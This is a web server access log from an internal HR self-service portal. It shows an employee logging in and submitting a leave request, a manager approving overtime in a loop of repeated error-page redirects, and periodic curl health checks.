192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.148 - - [05/Sep/2025:09:45:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
192.168.11.148 - - [05/Sep/2025:09:45:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104
192.168.11.148 - - [05/Sep/2025:09:45:10 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.148 - - [05/Sep/2025:09:45:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.148 - - [05/Sep/2025:09:45:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.148 - - [05/Sep/2025:09:45:16 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:45:17 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.11.148 - - [05/Sep/2025:09:45:17 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:46:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:46:57 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [05/Sep/2025:09:46:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [05/Sep/2025:09:46:58 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:47:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:47:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.11.148 - - [05/Sep/2025:09:47:02 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626
192.168.11.148 - - [05/Sep/2025:09:47:02 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:47:02 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:47:02 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.148 - - [05/Sep/2025:09:46:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.148 - - [05/Sep/2025:09:46:59 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:47:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:47:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.11.148 - - [05/Sep/2025:09:47:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:47:12 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [05/Sep/2025:09:47:26 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.164123501630295 HTTP/1.1" 200 10228
192.168.11.148 - - [05/Sep/2025:09:47:26 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.164123501630295 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:47:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.164123501630295 HTTP/1.1" 200 12411 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.164123501630295" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:47:34 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.164123501630295 HTTP/1.1" 200 12411
192.168.11.148 - - [05/Sep/2025:09:47:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:47:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201
192.168.11.148 - - [05/Sep/2025:09:47:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.148 - - [05/Sep/2025:09:47:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.148 - - [05/Sep/2025:09:47:40 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.148 - - [05/Sep/2025:09:47:40 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [05/Sep/2025:09:49:44 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:09:49:44 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:51:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [05/Sep/2025:09:51:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:59:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [05/Sep/2025:09:59:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
192.168.40.39 - - [05/Sep/2025:10:01:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 45356
192.168.40.39 - - [05/Sep/2025:10:01:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 45356 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:20 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:20 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131081%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131081&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131081%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131081&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:21 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [05/Sep/2025:10:01:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [05/Sep/2025:10:01:22 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
